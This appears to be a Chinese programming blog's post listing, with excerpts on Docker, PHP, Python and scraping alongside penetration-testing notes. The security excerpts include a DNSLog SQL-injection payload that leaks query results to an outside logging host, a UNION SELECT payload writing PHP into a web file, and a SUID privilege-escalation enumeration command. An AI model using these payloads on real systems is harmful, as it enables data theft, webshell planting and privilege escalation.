- 博客(98)
- 资源 (4)
- 收藏
- 关注
原创 16xx工厂爬虫
本文介绍的爬虫技术仅供学习和研究目的使用。任何人在使用本文中提供的信息和技术时,应自行承担风险,并且应遵守相关法律法规。本文中介绍的爬虫技术和相关信息仅作为参考。作者不对任何由于使用本文介绍的技术而引起的任何直接或间接损失负责。用户应自行承担使用本文技术所带来的风险和责任.
2023-05-26 11:46:54
528
1
原创 docker挂载目录不同步
挂载docker外面的config.yaml文件后,容器里的配置文件一直没有更新。但是每次重启容器后就同步上去了,在测试跟研发服可以这么操作。好像是vi或者vim工具进行编辑文件的时候会修改Inode的值,每次修改后值就跟创建容器的值不匹配了。但是重启容器的时候它好像是根据文件名称进行匹配,所以每次重启后配置文件就能同步。测试了一下使用nano就好像不会修改inode的值,但是这个不大好用。这样在外面修改的时候容器内部的文件也会同步,用reload就可以刷新配置,不会断开服务了。
2023-03-14 16:40:13
1619
原创 xpath获取父元素的方法
xpath获取父元素的方法两种方法:# 1使用../# 2使用parent::父级元素import requestsfrom lxml import etreeurl = 'https://www.spzs.com/chanpin/'resp = requests.get(url,headers={ 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0'
2022-05-24 15:13:33
1937
原创 Thinkphp5获取查询某一个数据的方法
Thinkphp5获取一条数据的某一个数据$user = new User();$dd = 'admins';$da = $user->where(['username'=>$dd,'password'=>'5153ae9e3695c8ce42212a3ba35b875b'])->select();方法一//可以直接获取某一个数据,需要遍历foreach ($da as $v){ echo $v.'<br>';}方法二// 最
2022-05-22 21:41:15
1369
原创 Array and string offset access syntax with curly braces is deprecated
使用Thinkphp5框架之php7.4的问题解决办法:seq=(ord(value{0}) % $rule[‘num’]) + 1;中的value0:value{0}改为 value0改为value[0];
2022-05-22 09:54:36
779
原创 阿里云安装nc
阿里云LINUX安装NCwget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz --no-check-certificatetar -zxvf netcat-0.7.1.tar.gz -C /usr/localcd /usr/localmv netcat-0.7.1 netcatcd /usr/local/netcat./configuremake && make i
2022-04-07 10:51:45
1255
原创 Linux源码安装appache
Linux源码安装appache链接地址https://www.cnblogs.com/yehuisir/articles/10061123.html在此非常感谢这篇博客。
2022-04-04 23:16:29
132
原创 Linux提权之SUID提权
Linux提权之SUID提权SUID提权1. SUID权限只能设置二进制文件2. 命令执行者要有二进制文件的执行权3. 命令执行者执行二进制文件时会获得该程序的属主身份4. SUID权限只在程序执行中有效即如果root给一个程序赋予了SUID权限,则普通用户在执行该程序过程中,是root权限cp命令提权以cp为例,这里给cp添加SUID权限做测试,拥有SUID权限的程序会由rwx变成rws也可以通过find / -perm -u=s -type f 2>dev/null命令来
2022-04-04 16:01:11
4078
原创 DNSLog注入
DNSLog注入原理以及错误原因链接地址https://www.freebuf.com/articles/web/259023.html错误原因1. 路径错误2. 不是root用户、secure_file_priv的限制3. url地址不正确,dnslog平台解析的是url地址,所以连接的地址只能包含数字字母下划线这3类sqlselect * from table_name where id=1 union select 1,load_file(concat('\\\\',(select
2022-01-29 12:22:32
596
原创 Linux文件和目录管理
Linux文件和目录管理的基本命令cd1. 作用:用来变更用户所在的目录2. cd [目录名]:进入指定目录3. cd后面什么都不跟会进入自己的家目录4. ..:回到上一级目录5. .:表示当前目录mkdir1. 作用:用于创建目录2. mkdir -m 目录名称:指定要创建目录的权限(不常用)3. mkdir -p 目录名称:迭代创建多级目录rmdir1. 作用:删除一个空目录,后面可以跟多个目录,不能删除文件2. rmdir -p 目录名:迭代删除多级空目录rm1.
2022-01-28 14:41:10
1492
原创 SQL注入之MySQL注入姿势及绕过
SQL注入之MySQL注入姿势及绕过参考链接:https://xz.aliyun.com/t/10594感受1. 写的详细,并且绕过姿势也很多,大佬级人物2. 在网上发现类似的文章,感觉这就是为啥知识需要付费的原因。3. 学到的东西很多...
2022-01-23 15:20:33
3067
原创 SQL注入写shell权限
SQL注入写shell权限需要的条件1. root权限2. 知道网站的物理绝对路径3. load_file() 开启 即 secure_file_priv 无限制 可以通过select @@secure_file_priv;查询(1):如果为NULL,则不能写入(2):如果为空,可以在任意文件位置下写入(3):如果为一个路径,可以在该文件路径写入4. 有写入权限联合写入?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into
2022-01-21 19:06:33
3734
原创 PHP代码审计报内部服务器错误解决办法
使用PHPStorm进行代码审计报内部服务器错误解决方法:地址:https://www.moonsec.com/archives/1881
2021-12-25 15:20:35
414
原创 阿列夫数算法题
有关阿列夫数的讲解可以看看知乎:地址:https://zhuanlan.zhihu.com/p/367528351题目描述冯•诺依曼不单是一位计算机科学家,也是很有名的数学家,他用集合来定义自然数系统,定义如下: 0 = {} = {} 1 = {0} = {{}} 2 = {0, 1} = {{}, {{}}} 3 = {0, 1, 2} = {{}, {{}}, {{}, {{}}}} …… 请根据上述定义,写出递归函数,由用户输入一个自然数N,输出该自 然数对应的集合表示。例如,
2021-12-14 21:11:26
3122
3
原创 python装饰器,迭代,异常
python装饰器,迭代,异常装饰器的联系DEL = 8READ = 4WRITE = 2EXE = 1userpermission = 9def check(x, y): print("最外层函数被调用了") def handle(fn): print("handle函数被调用了") def do_ction(): if x & y != 0: fn()
2021-11-27 20:46:10
771
2
原创 Python面向对象
Python面向对象基础知识基础语法# 使用class来定义一个类# class 类名:类名一般需要遵守大驼峰命名法# 1.class 类名:# 2.class <类名> (Object):class Student(object): # 在__init__方法里,以参数的形式定义特征,我们称之为属性 def __init__(self, name, age): self.name = name self.age = age
2021-11-27 20:30:42
214
1
原创 Python正则
Python正则正则表达式# 用来处理字符串,对于字符串进行检索和替换的# 1.查找 2.替换# 比如:看身份证是否合法# 用到正则必须需要用到类reimport rex = 'hello\\nworld' # hello\nworld# 在正则表达式里,如果要匹配一个\需要用\\\\# 第一个参数就是正则匹配的规则# 第二个参数表示需要匹配的字符串print(re.search('\\\\', x)) # <re.Match object; span=(5, 6),
2021-11-27 20:07:43
707
3
原创 爬取某视频网站的电影
通过抓包爬取某视频网站的电影burpsuite工具1. 先使用抓包工具进行抓包分析,得到对应的接口2. 直接用requests库来请求响应数据3. 存入数据库代码from functools import reduceimport pymysqlimport requestsimport json# 链接数据库def connectdatabase(): conn = pymysql.connect( host='127.0.0.1', us
2021-11-24 14:04:14
1969
3
原创 PHP之Smarty
PHP之SmartySmarty简介smarty的引入1. 为了分工合作,模板页面中最好不要出现php代码2.需要将表现和内容相互分离3.通过smarty把php和html页面显示在页面上官方smartyplugins:自定义插件sysplugins:系统插件Smarty.class.php:Smarty核心文件smarty的属性和方法class Smarty{ public $left_delimiter="{";//左界定 public $right_delim
2021-11-09 11:47:18
782
原创 PHP之MVC
PHP之MVC以及简单的封装目录结构各部分代码config.phpreturn array( 'database'=>array( 'host'=>'127.0.0.1',//默认主机 'port'=>3306,//默认端口号 'dbname'=>'data',//默认数据库 'charset'=>'utf8',//默认字符编码集 'user'=>'root',//默认数据
2021-11-08 21:53:44
746
原创 PHP之水印与缩略图
PHP水印与缩略图文字水印作用:在图片上添加文字或图片,目的:宣传,防止盗图分类:文字水印和图片水印文字水印实现原理和中文验证码一样//打开图片$img = imagecreatefromjpeg('./clk.jpg');//将文字写到图片上$color = imagecolorallocate($img,255,0,0);$size = 15;//字体大小$angle=-30;//旋转角度$fontpath = 'D:\MVVC\simhei.ttf';//字体路径,必须是绝对路
2021-11-07 16:17:37
165
原创 PHP之验证码
PHP之实现验证码功能开启GD扩展知识点:GD库是用来处理图片的,使用GD库,首先在php.ini中开启gd扩展extension=gd2(默认已经开启)开启以后就可以使用image开头的函数了创建最简单的图片1. 创建画布2. 给画布填充颜色(给画布填充的第一个颜色自动填充成背景颜色)3. 显示图片$image = imagecreate(200,100);//创建图片,类型为资源类型//给图片分配第一个颜色,默认是背景色imagecolorallocate($image,25
2021-11-07 16:06:34
342
原创 PHP之sql拼接语句
sql拼接语句select拼接语句function select($table,$cond=array()){ $sql = "select * from `{$table}` where 1"; if (!empty($cond)){ foreach ($cond as $k=>$v){ if (is_array($v)){ switch ($v[0]){ case '
2021-11-04 22:07:30
1073
原创 session入库
session入库代码function open(){ //必须返回true global $link; $link = mysqli_connect('127.0.0.1','root','root','data','3308'); if ($link){ return true; }else return false;}function close(){ global $link; mysqli_close($lin
2021-11-04 21:54:08
136
原创 PHP的session与cookie
Session与Cookie场景1. 客服端向服务器发送请求2. 服务器将值放到响应头中发送至客服端3. 浏览器自动将信息放到请求头中带到服务器4. 服务器从请求头中获取带来的信息CookieA页面中的变量如何被B页面访问:1. 包含文件2. get或post提交3. cookie,cookie就是保存在客服端的信息文件通过header、setcookie()来操作响应头语法格式:header(键:值)setcookie()作用:将值放到响应头中发送到客服端,并保存到客服端设
2021-11-04 21:33:04
461
原创 Warning: Unknown: Failed to write session data using user defined save handler. (session.save_path:
Warning: Unknown: Failed to write session data using user defined save handler. (session.save_path: D:\Software\phpstudy_pro\Extensions\tmp\tmp) in Unknown on line 0错误原因:1. session.save_path的路径不对2. session.save_path的文件权限不对3. 以及其他的错误原因,(但我的不是这个问题)这个问题发了
2021-11-04 15:30:06
832
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人